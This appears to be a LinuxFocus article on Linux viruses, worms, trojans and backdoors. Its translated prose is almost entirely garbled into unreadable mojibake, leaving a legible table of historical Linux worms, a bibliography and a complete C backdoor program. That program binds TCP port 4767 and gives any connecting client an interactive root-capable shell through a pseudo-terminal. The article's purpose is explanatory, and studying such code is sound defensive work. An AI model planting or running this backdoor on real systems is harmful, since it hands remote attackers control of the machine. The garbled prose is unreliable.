锟侥憋拷锟斤拷锟斤拷锟狡撅拷锟斤拷同锟斤拷锟斤拷锟剿★拷

锟斤拷锟斤拷锟斤拷强锟斤拷锟斤拷一锟姐：锟斤拷锟斤拷锟斤拷锟斤拷锟秸的讹拷平台锟斤拷锟斤拷驻锟斤拷锟斤拷Windows锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷么锟斤拷锟斤拷Linux锟斤拷锟斤拷锟斤拷锟斤拷每锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷呛锟斤拷锟斤拷么锟斤拷摹锟斤拷锟斤拷锟矫刻ㄊ癸拷锟�双锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷系统锟侥伙拷锟斤拷锟斤拷锟斤拷锟解都锟角革拷锟斤拷锟解；锟斤拷锟斤拷谋锟斤拷锟斤拷锟饺拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟角革拷系统锟侥帮拷全锟斤拷锟狡讹拷锟斤拷锟斤拷唯一锟侥斤拷锟斤拷锟斤拷锟斤拷锟绞癸拷眉锟斤拷艿锟斤拷募锟较低筹拷锟斤拷锟街癸拷魏锟絎indows应锟矫筹拷锟斤拷锟斤拷锟絃inux锟斤拷锟斤拷锟斤拷锟斤拷锟街诧拷锟斤拷锟斤拷未锟斤拷为锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟揭达拷锟剿碉拷锟斤拷锟轿达拷锟斤拷胤锟斤拷锟斤拷牟锟斤拷锟斤拷锟斤拷芸锟斤拷为Linux锟斤拷锟斤拷锟斤拷锟截达拷锟斤拷胁锟侥达拷锟斤拷锟斤拷

锟斤拷锟斤拷锟斤拷木锟斤拷

锟斤拷锟斤拷锟斤拷木锟斤拷锟酵诧拷锟斤拷一锟斤拷锟斤拷锟铰ｏ拷锟斤拷锟斤拷锟狡猴拷锟斤拷锟斤拷锟斤拷为锟斤拷锟借。锟斤拷通锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟竭硷拷炸锟斤拷锟斤拷同锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷木锟斤拷锟叫凤拷锟街碉拷锟竭硷拷炸锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟侥★拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟叫ｏ拷锟斤拷一小锟轿达拷锟斤拷锟斤拷锟斤拷叩锟斤拷锟斤拷盏锟斤拷没锟斤拷锟斤拷锟斤拷艿锟揭伙拷锟斤拷锟斤拷锟斤拷锟叫拷锟斤拷撸锟斤拷锟斤拷锟剿碉拷锟侥匡拷母锟斤拷锟斤拷撕头锟斤拷锟斤拷姹撅拷某锉革拷耍锟斤拷锟皆硷拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷木锟斤拷锟斤拷锟斤拷么锟斤拷锟斤拷锟斤拷抓锟斤拷锟斤拷锟斤犯锟斤拷锟斤拷

锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟绞拷锟斤拷锟叫э拷胤锟斤拷锟斤拷锟斤拷锟斤拷锟侥撅拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷鄣锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷墙锟斤拷锟斤拷锟街拷锟斤拷模锟斤拷锟街革拷锟叫╋拷弑锟斤拷锟侥匡拷锟斤拷锟斤拷锟斤拷锟斤拷诮锟斤拷傻目锟斤拷锟斤拷吆锟斤拷锟斤拷web站锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟�锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟�锟斤拷锟叫诧拷同锟斤拷锟斤拷些锟斤拷锟斤拷锟斤拷锟斤拷预锟斤拷锟斤拷玫模锟斤拷锟揭伙拷锟斤拷锟斤拷锟斤拷锟斤拷姆锟绞斤拷锟斤拷习俑锟絯eb站锟姐发锟斤拷锟斤拷锟斤拷锟斤拷通锟斤拷锟斤拷志锟斤拷锟斤拷锟斤拷CD锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷只锟斤拷通锟斤拷一锟斤拷锟斤拷锟斤拷锟斤拷伪锟斤拷锟絜-mail锟斤拷址锟斤拷锟斤拷悉锟斤拷锟斤拷些锟斤拷使锟斤拷锟斤拷锟斤拷锟斤拷木锟斤拷锟斤拷锟皆可匡拷锟斤拷锟斤拷锟芥。

锟斤拷锟斤拷应注锟解到锟斤拷锟斤拷一锟斤拷锟斤拷实锟斤拷拥锟斤拷应锟矫筹拷锟斤拷锟皆达拷锟斤拷锟斤拷医锟斤拷斜锟斤拷氩拷锟斤拷锟斤拷锟轿拷锟饺拷谋锟街わ拷锟斤拷锟斤拷纾拷泻锟斤拷锟斤拷呒锟秸拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟�"configure"锟脚憋拷锟叫ｏ拷锟斤拷锟斤拷锟斤拷"./configure; make"时锟斤拷锟矫ｏ拷锟斤拷锟斤拷锟斤拷锟斤拷锟侥脚憋拷通锟斤拷锟斤拷锟叫达拷约2000锟叫筹拷!锟斤拷锟斤拷锟诫但锟斤拷锟斤拷锟斤拷锟姐够锟侥憋拷证锟斤拷应锟矫筹拷锟斤拷锟皆达拷锟斤拷锟接︼拷歉删锟斤拷牟锟斤拷鼙锟斤拷耄伙拷锟斤拷锟斤拷饣癸拷锟斤拷薹锟斤拷锟街�Makefile锟斤拷锟斤拷锟竭硷拷炸锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟�"make install"时锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷通锟斤拷锟斤拷锟斤拷锟斤拷root锟斤拷锟斤拷锟斤拷锟叫的ｏ拷

锟斤拷螅锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟侥撅拷锟斤拷锟絎indows锟斤拷锟斤拷锟斤拷锟揭伙拷锟斤拷锟揭拷锟斤拷锟斤拷锟斤拷婕帮拷牡锟绞憋拷暮锟街达拷小锟斤拷锟絃inux锟铰的癸拷锟斤拷锟斤拷锟斤拷锟斤拷遣锟斤拷芙锟斤拷锟斤拷锟叫╋拷锟侥ｏ拷锟斤拷锟斤拷目前为止锟斤拷锟斤拷锟斤拷锟斤拷锟矫伙拷锟斤拷时锟斤拷锟杰得碉拷一锟斤拷锟皆癸拷锟斤拷实锟侥帮拷全锟叫★拷锟斤拷某锟斤拷时锟斤拷锟斤拷些锟斤拷锟竭伙拷锟杰癸拷执锟叫帮拷锟斤拷锟斤拷锟侥碉拷锟叫碉拷Basic锟疥。锟斤拷锟斤拷锟斤拷锟斤拷锟叫╋拷锟斤拷锟较低筹拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷岜恢わ拷锟斤拷歉锟斤拷锟斤拷锟斤拷锟斤拷狻ｏ拷锟饺伙拷锟斤拷锟斤拷诓锟斤拷锟斤拷锟斤拷苹锟斤拷锟叫в︼拷锟斤拷艿锟斤拷没锟斤拷锟饺拷锟斤拷锟斤拷疲锟斤拷锟斤拷强煽锟较低筹拷募锟斤拷锟斤拷锟斤拷侔锟阶癈D锟较伙拷锟叫ｏ拷锟斤拷锟斤拷实锟斤拷锟斤拷锟斤拷些锟秸刚讹拷失锟斤拷锟斤拷锟斤拷锟侥碉拷锟斤拷源锟侥硷拷锟斤拷锟绞硷拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷一锟斤拷锟斤拷之前锟斤拷锟矫伙拷锟斤拷说锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷侔锟轿匡拷锟�

锟节斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷木锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟街憋拷锟斤拷锟斤拷锟接ψ拷獾斤拷锟斤拷锟斤拷锟斤拷蟹锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷没锟斤拷模锟斤拷锟绞癸拷锟斤拷锟斤拷泻锟斤拷模锟斤拷锟绞癸拷锟叫╋拷募锟斤拷锟斤拷锟揭拷锟斤拷汀锟斤拷锟経senet锟较ｏ拷锟斤拷锟斤拷钥锟斤拷锟斤拷锟斤拷锟绞憋拷锟窖癸拷锟斤拷募锟斤拷锟斤拷锟斤拷曳锟街澄拷锟斤拷锟斤拷募锟街憋拷锟斤拷锏斤拷锟斤拷痰谋锟斤拷汀锟斤拷锟叫㏄ostscript锟侥硷拷也锟杰癸拷锟斤拷锟斤拷锟斤拷锟酵筹拷锟斤拷ghostscript锟斤拷gv锟斤拷锟斤拷锟斤拷锟斤拷CPU时锟斤拷锟斤拷锟节★拷锟斤拷些锟斤拷没锟斤拷危锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟矫伙拷锟斤拷时锟睫凤拷锟斤拷证锟斤拷锟斤拷锟斤拷锟剿诧拷浅锟斤拷

锟斤拷锟�

锟斤拷1988 Internet锟斤拷锟斤拷锟斤拷锟街憋拷锟斤拷锟矫伙拷锟絃inux锟斤拷锟节ｏ拷Linux锟斤拷应锟斤拷为锟斤拷锟街癸拷锟斤拷锟斤拷锟斤拷锟窖★拷瘢锟斤拷锟斤拷锟斤拷锟斤拷锟皆达拷锟斤拷锟侥达拷锟斤拷使锟斤拷锟斤拷锟斤拷漏锟斤拷锟斤拷梅浅锟斤拷锟斤拷祝锟斤拷锟斤拷纾拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷写一锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟侥革拷锟斤拷锟皆硷拷锟斤拷锟斤拷锟斤拷些锟斤拷Linux锟斤拷锟斤拷锟斤拷锟斤拷跃锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷2锟斤拷锟斤拷锟斤拷一些锟斤拷妫拷锟斤拷嵌锟斤拷谴锟斤拷锟斤拷锟斤拷锟侥★拷

锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟铰╋拷锟斤拷锟斤拷锟斤拷锟脚硷拷锟斤拷锟斤拷拥锟絀nternet锟侥癸拷锟斤拷站锟斤拷锟皆ｏ拷锟斤拷锟斤拷锟较凤拷锟斤拷要小锟斤拷一直锟斤拷锟接的凤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷为锟斤拷庭锟矫伙拷锟结供锟侥斤拷锟斤拷锟斤拷锟酵ｏ拷Cable锟斤拷SDL锟饺等ｏ拷锟侥凤拷展锟皆硷拷目前锟斤拷锟斤拷锟斤拷锟紿TTP锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷FTP锟饺ｏ拷锟斤拷锟斤拷实锟斤拷锟斤拷锟斤拷味锟斤拷锟斤拷锟杰匡拷锟斤拷为锟斤拷锟斤拷锟斤拷锟斤拷注锟斤拷目锟疥。

锟斤拷2 - Linux锟铰碉拷锟斤拷锟�
锟斤拷锟斤拷	锟斤拷锟斤拷锟斤拷漏锟斤拷	锟斤拷注
Lion (`1i0n`)	`bind`	锟斤拷锟斤拷锟街的伙拷锟斤拷锟较帮拷装锟斤拷锟脚筹拷锟斤拷(TCP port 10008)锟斤拷root-kit锟斤拷锟斤拷锟斤拷系统锟斤拷息锟斤拷一锟斤拷锟斤拷锟叫癸拷锟斤拷email锟斤拷址锟斤拷
Ramen	`lpr`, `nfs`, `wu-ftpd`	锟睫革拷锟斤拷锟斤拷锟揭碉拷锟斤拷`index.html`锟侥硷拷
Adore (Red Worm)	`bind`, `lpr`, `rpc`, `wu-ftpd`	锟斤拷系统锟较帮拷装锟斤拷锟脚筹拷锟津并凤拷锟斤拷系统锟斤拷息锟斤拷锟斤拷锟叫癸拷锟斤拷锟斤拷锟斤拷锟斤拷email锟斤拷址锟斤拷锟斤拷装一锟斤拷`ps`锟斤拷锟睫改版本锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷獭锟�
Cheese	锟斤拷Lion锟斤拷锟斤拷	锟斤拷锟斤拷锟斤拷锟揭伙拷锟斤拷锟斤拷沙锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟缴撅拷锟斤拷锟�Lion锟斤拷锟脚的猴拷锟脚的★拷

锟斤拷锟斤拷锟斤拷妫拷锟斤拷锟接ψ拷獾斤拷锟斤拷堑拇锟斤拷锟斤拷艿锟绞憋拷锟斤拷锟斤拷锟狡★拷锟斤拷锟斤拷只锟节达拷一锟斤拷系统锟斤拷锟狡碉拷锟斤拷一系统时锟角★拷锟斤拷锟脚的★拷锟斤拷锟斤拷锟斤拷锟斤拷为锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟铰凤拷锟街碉拷漏锟斤拷锟斤拷目锟斤拷应锟矫筹拷锟斤拷锟窖革拷锟斤拷锟斤拷锟斤拷锟斤拷锟酵Ｖ癸拷锟斤拷堑拇锟斤拷锟斤拷锟斤拷诓锟斤拷玫慕锟斤拷锟斤拷锟斤拷锟斤拷锟较低筹拷锟斤拷芑锟斤拷远锟斤拷锟窖拷锟截碉拷web站锟姐（每锟届）锟斤拷锟斤拷锟斤拷锟斤拷要锟斤拷锟轿★拷锟斤拷锟斤拷锟节此诧拷锟斤拷系统应锟矫筹拷锟斤拷陌锟饺拷锟斤拷锟斤拷锟斤拷锟斤拷锟节憋拷锟斤拷锟矫伙拷全锟斤拷锟斤拷系统锟斤拷锟斤拷员锟斤拷锟捷癸拷锟斤拷锟斤拷使之锟斤拷协锟斤拷执锟斤拷锟斤拷锟斤拷应锟矫筹拷锟斤拷锟斤拷说锟斤拷锟叫憋拷要锟斤拷

锟斤拷锟脚筹拷锟斤拷

锟斤拷锟脚筹拷锟斤拷锟斤拷锟斤拷锟斤拷嗟憋拷锟斤拷兀锟斤拷锟绞癸拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟揭诧拷锟斤拷锟剿★拷锟斤拷然锟斤拷锟斤拷为锟斤拷锟剿筹拷锟斤拷锟皆达拷锟斤拷耄拷锟斤拷锟斤拷锟斤拷锟斤拷锟皆硷拷锟斤拷锟斤拷锟斤拷锟绞裁达拷锟绞碉拷锟斤拷希锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷芄锟斤拷锟斤拷锟斤拷锟絀nternet锟斤拷锟斤拷锟截的碉拷锟斤拷锟侥硷拷锟斤拷锟捷★拷锟斤拷锟界，锟斤拷锟斤拷锟叫★拷锟斤拷锟斤拷峁╋拷锟揭伙拷锟斤拷锟斤拷锟斤拷暮锟斤拷懦锟斤拷颍锟斤拷锟斤拷锟斤拷锟斤拷锟叫★拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟揭伙拷锟斤拷愎伙拷锟斤拷应锟矫筹拷锟斤拷锟叫★拷锟矫筹拷锟斤拷锟斤拷锟斤拷锟揭碉拷锟斤拷[BLAESS 00]锟斤拷锟斤拷锟节撅拷锟斤拷说锟斤拷伪锟秸端的伙拷锟狡★拷锟矫筹拷锟斤拷锟角很好讹拷锟斤拷锟斤拷为锟斤拷取锟斤拷锟斤拷注锟斤拷锟斤拷使之锟斤拷锟教★拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟揭诧拷锟酵拷锟斤拷锟皆拷锟饺ワ拷锟斤拷恕锟斤拷锟街达拷锟绞憋拷锟斤拷锟斤拷诟没锟斤拷锟斤拷锟矫匡拷锟斤拷锟斤拷锟接口的筹拷锟斤拷头指锟斤拷锟侥端口ｏ拷默锟斤拷为4767锟斤拷锟较达拷一锟斤拷TCP/IP锟斤拷锟斤拷锟斤拷锟斤拷每锟斤拷锟斤拷锟襟到此端口碉拷锟斤拷锟接伙拷锟皆讹拷锟斤拷锟斤拷一锟斤拷shell锟斤拷锟斤拷锟轿猴拷锟斤拷锟捷硷拷锟斤拷!!!

    #define _GNU_SOURCE 500
    #include <fcntl.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <termios.h>
    #include <unistd.h>
    #include <netinet/in.h>
    #include <sys/socket.h>

    #define ADRESSE_BACKDOOR  INADDR_ANY
    #define PORT_BACKDOOR     4767

    int
main (void)
{
    int                sock;
    int                sockopt;
    struct sockaddr_in adresse; /* address */
    socklen_t          longueur; /* length */
    int                sock2;
    int        pty_maitre; /* pty_master */
    int        pty_esclave; /* pty_slave */
    char *         nom_pty; /* name_pty */
    struct termios     termios;
    char * args [2] = { "/bin/sh", NULL };
    fd_set         set;
    char           buffer [4096];
    int            n;

    sock = socket (AF_INET, SOCK_STREAM, 0);
    sockopt = 1;
    setsockopt (sock, SOL_SOCKET, SO_REUSEADDR, & sockopt, sizeof(sockopt));
    memset (& adresse, 0, sizeof (struct sockaddr));
    adresse . sin_family = AF_INET;
    adresse . sin_addr . s_addr = htonl (ADRESSE_BACKDOOR);
    adresse . sin_port = htons (PORT_BACKDOOR);
    if (bind (sock, (struct sockaddr *) & adresse, sizeof (adresse)))
        exit (1);
    listen (sock, 5);
    while (1) {
        longueur = sizeof (struct sockaddr_in);
        if ((sock2 = accept (sock, & adresse, & longueur)) < 0)
            continue;
        if (fork () == 0) break;
        close (sock2);
    }
    close (sock);
    if ((pty_maitre = getpt()) < 0) exit (1);
    grantpt  (pty_maitre);
    unlockpt (pty_maitre);
    nom_pty = ptsname (pty_maitre);
    tcgetattr (STDIN_FILENO, & termios);
    if (fork () == 0) {
        /* Son: shell execution in the slave
            pseudo-TTY */
        close (pty_maitre);
        setsid();
        pty_esclave = open (nom_pty, O_RDWR);
        tcsetattr (pty_esclave, TCSANOW, & termios);
        dup2 (pty_esclave, STDIN_FILENO);
        dup2 (pty_esclave, STDOUT_FILENO);
        dup2 (pty_esclave, STDERR_FILENO);
        execv (args [0], args);
        exit (1);
    }
    /* Father: copy of the socket to the master pseudo-TTY
        and vice versa */
        tcgetattr (pty_maitre, & termios);
    cfmakeraw (& termios);
    tcsetattr (pty_maitre, TCSANOW, & termios);
    while (1) {
        FD_ZERO (& set);
        FD_SET (sock2, & set);
        FD_SET (pty_maitre, & set);
        if (select (pty_maitre < sock2 ? sock2+1: pty_maitre+1,
             & set, NULL, NULL, NULL) < 0)
            break;
        if (FD_ISSET (sock2, &set)) {
            if ((n = read (sock2, buffer, 4096)) < 0)
                break;
            write (pty_maitre, buffer, n);
        }
        if (FD_ISSET (pty_maitre, &set)) {
            if ((n = read (pty_maitre, buffer, 4096)) < 0)
                break;
            write (sock2, buffer, n);
        }
    }
    return (0);
}

锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷一锟轿达拷锟诫到锟接达拷锟接︼拷贸锟斤拷锟斤拷锟斤拷锟�sendmail锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟姐够锟斤拷锟斤拷时锟斤拷锟斤拷锟斤拷锟叫帮拷锟斤拷锟斤拷锟酵革拷锟斤拷锟斤拷猓拷锟叫╋拷锟斤拷锟斤拷锟斤拷锟叫★拷未锟斤拷锟斤拷锟斤拷械募锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷郑锟斤拷锟矫匡拷锟斤拷锟絀OCC(International Obsfucated C Code Contest)锟斤拷锟斤拷锟斤拷锟结交锟侥筹拷锟斤拷锟斤拷锟斤拷锟轿拷锟街わ拷锟�

锟斤拷应锟斤拷为锟斤拷锟脚筹拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷系目锟斤拷堋锟斤拷锟斤拷锟斤拷锟斤拷锟饺凤拷锟饺凤拷丫锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟絉ed-Hat 6.2锟斤拷锟斤拷锟芥本锟叫碉拷Piranha锟斤拷锟斤拷锟斤拷锟斤拷芙锟斤拷锟侥拷锟斤拷锟斤拷搿�Quake 2锟斤拷锟斤拷同锟斤拷也锟斤拷锟斤拷锟斤拷锟斤拷锟剿猴拷锟脚筹拷锟斤拷锟斤拷锟斤拷锟斤拷远锟斤拷执锟斤拷锟斤拷锟筋。

锟斤拷锟脚筹拷锟斤拷幕锟斤拷锟揭诧拷锟斤拷越锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷诜浅锟斤拷锟斤拷拥锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟节讹拷锟节撅拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟剿碉拷锟教斤拷獠伙拷锟斤拷摹锟揭伙拷锟斤拷锟斤拷偷锟斤拷锟斤拷泳锟斤拷枪锟斤拷诩锟斤拷锟较低筹拷暮锟斤拷懦锟斤拷锟斤拷锟斤拷纾拷诠锟斤拷锟斤拷锟絊E-Linux系统锟斤拷一锟斤拷使锟斤拷锟斤拷锟斤拷NSA锟结供锟侥诧拷锟斤拷锟斤拷强锟斤拷全锟斤拷Linux锟芥本锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷峁╋拷牟锟斤拷锟斤拷锟絃inux锟斤拷锟斤拷锟斤拷说锟斤拷没锟斤拷什么值锟斤拷锟斤拷锟缴ｏ拷锟斤拷锟斤拷谁也锟斤拷锟斤拷确锟脚ｏ拷锟轿匡拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟姐够锟斤拷锟斤拷学知识锟斤拷锟斤拷锟街达拷锟斤拷漏锟斤拷锟斤拷

锟斤拷锟斤拷

探锟斤拷锟斤拷些锟斤拷Gnu/Linux锟斤拷锟斤拷锟叫凤拷锟街碉拷锟叫猴拷锟斤拷锟斤拷使锟斤拷锟角得碉拷锟斤拷锟铰斤拷锟桔ｏ拷锟斤拷锟斤拷锟斤拷锟斤拷锟睫凤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷妫拷锟斤拷锟斤拷锟侥撅拷锟斤拷锟斤拷锟斤拷锟斤拷锟街拷锟侥ｏ拷锟斤拷要锟斤拷锟节诧拷锟绞ｏ拷锟斤拷锟斤拷注锟斤拷锟斤拷诘锟角坝︼拷贸锟斤拷锟侥帮拷全锟斤拷锟芥，锟截憋拷锟角碉拷锟斤拷锟斤拷站锟斤拷频锟斤拷锟斤拷锟接碉拷Internet时锟斤拷锟斤拷锟斤拷锟轿成好碉拷习锟斤拷锟角猴拷锟斤拷要锟侥ｏ拷一锟斤拷锟斤拷锟斤拷漏锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷只使锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟今；从匡拷锟斤拷锟轿碉拷web站锟斤拷锟斤拷锟斤拷应锟矫筹拷锟津；讹拷锟斤拷锟斤拷锟截的帮拷锟斤拷锟斤拷锟杰撅拷锟斤拷锟截硷拷锟絇GP锟斤拷锟斤拷MD5签锟斤拷锟斤拷锟筋“锟斤拷锟斤拷摹锟斤拷嘶锟绞癸拷锟斤拷诎锟阶坝︼拷贸锟斤拷锟侥匡拷锟斤拷锟皆讹拷锟斤拷锟斤拷锟斤拷锟斤拷使锟矫脚憋拷锟斤拷

锟节讹拷锟斤拷应注锟斤拷模锟轿达拷锟絃inux系统锟斤拷锟斤拷锟斤拷锟斤拷要危锟斤拷一锟角癸拷锟斤拷应锟矫筹拷锟斤拷盲目锟截斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟侥碉拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟绞硷拷锟斤拷锟叫的宏，锟斤拷锟角讹拷平台锟斤拷锟斤拷锟斤拷锟斤拷锟角硷拷使锟斤拷Windows锟斤拷执锟叫ｏ拷也锟斤拷锟斤拷锟斤拷同一台锟斤拷锟斤拷锟斤拷锟斤拷Linux锟斤拷锟斤拷锟斤拷锟揭碉拷锟侥匡拷执锟斤拷锟侥硷拷锟斤拷锟斤拷锟剿碉拷锟揭伙拷锟斤拷锟斤拷锟饺★拷锟斤拷锟斤拷没锟斤拷锟斤拷锟轿拷锟斤拷锟斤拷锟接︼拷貌锟斤拷锟斤拷锟斤拷锟斤拷锟接︼拷贸锟斤拷锟斤拷锟斤拷锟轿何讹拷锟斤拷锟斤拷锟斤拷么锟节讹拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷嗟憋拷锟斤拷越锟斤拷锟侥ｏ拷锟斤拷使锟斤拷锟节撅拷职锟侥癸拷锟斤拷员也锟斤拷锟斤拷恕锟斤拷诤芙锟斤拷慕锟斤拷锟斤拷锟斤拷锟斤拷虢匡拷锟侥诧拷锟斤拷探锟斤拷锟斤拷应锟斤拷锟斤拷锟斤拷锟接碉拷Internet锟斤拷Linux锟斤拷锟斤拷站锟斤拷锟斤拷锟斤拷锟斤拷锟节达拷锟斤拷锟斤拷锟斤拷目锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟叫很匡拷锟斤拷帧锟�

锟轿匡拷锟斤拷目

锟斤拷锟节诧拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷木锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷胁锟斤拷锟侥碉拷锟斤拷锟斤拷目锟角革拷十锟斤拷锟斤拷要锟斤拷指锟疥；锟斤拷锟斤拷锟斤拷谈锟斤拷目前锟斤拷锟斤拷锟斤拷锟斤拷锟叫凤拷式锟斤拷执锟叫斤拷锟斤拷锟斤拷锟斤拷隆锟斤拷锟饺伙拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟叫憋拷锟角癸拷锟斤拷Dos/Windows锟侥ｏ拷锟斤拷锟斤拷也锟斤拷一些锟斤拷Linux锟斤拷亍锟斤拷锟斤拷锟结到锟斤拷锟侥碉拷锟斤拷锟角非筹拷锟斤拷锟斤拷模锟斤拷锟斤拷曳锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷系锟绞碉拷只锟斤拷啤锟�

[BLAESS 00] Christophe Blaess - "C system programming under Linux", Eyrolles, 2000.
[DEWDNEY 84] A.K. Dewdney - "Computer recreations" in Scientific American. 锟斤拷锟斤拷锟斤拷锟侥版本位锟斤拷http://www.koth.org/info/sciam/
[EICHIN 89] Mark W. Eichin & Jon A. Rochlis - "With Microscope and Tweezers: An Analysis of the Internet Virus of November 1988", MIT Cambridge, 1989.位锟斤拷www.mit.edu/people/eichin/virus/main.html
[GIBSON 01] Steve Gibson - "The Strange Tale of the Denial of Service Attack Against GRC.COM", 2001.位锟斤拷http://grc.com/dos/grcdos.htm
[KEHOE 92] Brendan P. Kehoe - "Zen and the Art of the Internet", 1992. 位锟斤拷 ftp://ftp.lip6.fr/pub/doc/internet/
[LUDWIG 91] Mark A. Ludwig - "The Little Black Book of Computer Virus", American Eagle Publications Inc.,1991.
[LUDWIG 93] Mark A. Ludwig - "Computer Viruses,Artificial Life and Evolution", American Eagle Publications Inc., 1993.
[MARSDEN 00] Anton Marsden - "The rec.games.corewar FAQ" 位锟斤拷 http://homepages.paradise.net.nz/~anton/cw/corewar-faq.html
[MORRIS 85] Robert T. Morris - "A Weakness in the 4.2BSD Unix TCP/IP Software", AT&T Bell Laboratories, 1985. 位锟斤拷 http://www.pdos.lcs.mit.edu/~rtm/
[SPAFFORD 88] Eugene H. Spafford - "The Internet Worm Program: an Analysis", Purdue University Technical Report CSD-TR-823, 1988. 位锟斤拷http://www.cerias.purdue.edu/homes/spaf/
[SPAFFORD 91] Eugene H. Spafford - "The Internet Worm Incident", Purdue University Technical Report CSD-TR-933, 1991. 位锟斤拷http://www.cerias.purdue.edu/homes/spaf/
也锟缴参匡拷 rfc1135: The Helminthiasis of the Internet
[SPAFFORD 94] Eugene H. Spafford - "Computer Viruses as Artificial Life", Journal of Artificial Life, MIT Press, 1994. 位锟斤拷 http://www.cerias.purdue.edu/homes/spaf/
[STOLL 89] Clifford Stoll - "The Cuckcoo's egg",Doubleday, 1989.
[THOMPSON 84] Ken Thompson - "Reflections on Trusting Trust", Communication of the ACM vol.27 n°8, August 1984. 锟斤拷印锟斤拷1995锟疥并位锟斤拷http://www.acm.org/classics/sep95/

锟斤拷锟斤拷篇锟斤拷锟铰凤拷锟斤拷锟斤拷锟斤拷

每篇锟斤拷锟铰讹拷锟叫革拷锟皆的凤拷锟斤拷页锟芥。锟斤拷锟斤拷锟揭筹拷锟斤拷铮拷锟斤拷锟斤拷锟斤拷峤伙拷锟斤拷郏锟揭诧拷锟斤拷圆榭达拷锟斤拷锟斤拷锟斤拷叩锟斤拷锟斤拷郏锟�

锟斤拷锟斤拷页锟斤拷

锟斤拷锟斤拷锟斤拷息:

fr --> -- : Christophe Blaess (homepage)

fr --> en: Georges Tarbouriech <georges.t(at)linuxfocus.org>

2002-10-31, generated by lfparser version 2.25